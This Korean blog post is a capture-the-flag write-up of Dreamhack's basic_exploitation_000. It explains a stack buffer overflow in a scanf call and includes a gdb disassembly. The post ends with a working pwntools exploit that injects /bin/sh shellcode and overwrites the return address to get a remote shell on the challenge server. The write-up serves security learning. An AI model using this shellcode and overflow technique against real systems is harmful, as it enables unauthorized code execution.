ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • basic_exploitation_000
    Pwn/DH wargame 2023. 6. 5. 22:58

    드림핵의 Stack Buffer Overflow 문제이다.

    #include <stdio.h>
    #include <stdlib.h>
    #include <signal.h>
    #include <unistd.h>


    void alarm_handler() {
        puts("TIME OUT");
        exit(-1);
    }


    void initialize() {
        setvbuf(stdin, NULL, _IONBF, 0);
        setvbuf(stdout, NULL, _IONBF, 0);

        signal(SIGALRM, alarm_handler);
        alarm(30);
    }


    int main(int argc, char *argv[]) {

        char buf[0x80];

        initialize();
        
        printf("buf = (%p)\n", buf);
        scanf("%141s", buf);

        return 0;
    }

    해당 문제의 코드이고, 취약점을 찾아서 공격해보자.

    (Buffer Overflow에 취약한 함수들을 검색해서 찾아보는것도 좋을것 같다.)

     

    $ nc [host] [port]
    buf = (0xfff642b8)

    참고로 코드를 실행시켰을 때에는 buf함수의 주소가 나오고 매 실행마다 주소는 다르게 나온다.

     

    일단, 위 코드를 살펴보면 buf의 크기가 0x80(128)이지만 scanf에서는 141만큼 읽어들이는것을 볼 수 있다.

    이것을 보고 scanf 함수에서 공격할 방법을 찾아보면 되겠다고 생각을 했고, 일단 gdb로 열어서 어셈블리어로 코드를 보기로 했다.

     

     

    pwndbg> disassemble main
    Dump of assembler code for function main:
       0x080485d9 <+0>:     push   ebp
       0x080485da <+1>:     mov    ebp,esp
       0x080485dc <+3>:     add    esp,0xffffff80
       0x080485df <+6>:     call   0x8048592 <initialize>
       0x080485e4 <+11>:    lea    eax,[ebp-0x80]
       0x080485e7 <+14>:    push   eax
       0x080485e8 <+15>:    push   0x8048699
       0x080485ed <+20>:    call   0x80483f0 <printf@plt>
       0x080485f2 <+25>:    add    esp,0x8
       0x080485f5 <+28>:    lea    eax,[ebp-0x80]
       0x080485f8 <+31>:    push   eax
       0x080485f9 <+32>:    push   0x80486a5
       0x080485fe <+37>:    call   0x8048460 <__isoc99_scanf@plt>
       0x08048603 <+42>:    add    esp,0x8
       0x08048606 <+45>:    mov    eax,0x0
       0x0804860b <+50>:    leave
       0x0804860c <+51>:    ret
    End of assembler dump.

    위의 어셈블리어 코드를 보면 printf() 함수와 scanf() 함수를 call하기 전에 ebp-80위치에서 eax로 주소를 읽어들여 스택에 넣어 함수의 인자로 쓰는것을 볼 수 있었고, 해당위치(ebp-80)가 buf 배열의 주소라고 생각할 수 있었다.

     

    이런 형태로 스택에 들어가 있을것이고 각 buf( 0x80(128)), SFP(4), RET(4)의 크기를 차지한다. 

    이렇게 해서 pwntool로 코드를 짜는데 어떻게 짜야할지 몰라 찾아보았다. ('scanf 우회 쉘코드'를 찾아보자.) 

     

    from pwn import *

    p = remote('[host]', [port])

    shellcode = b"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80"

    buf = int(p.recv()[7:17], 16)

    payload = shellcode
    payload += b"\x90" * 106
    payload += p32(buf)

    p.sendline(payload)
    p.interactive()

    shellcode 부분이 scanf() 함수 우회 쉘코드 부분이고 106의 채우기 용도 값 후에 복귀주소에 buf의 시작주소를 넣어 shellcode를 실행시키면 된다. 

     

    끝.

Designed by Tistory.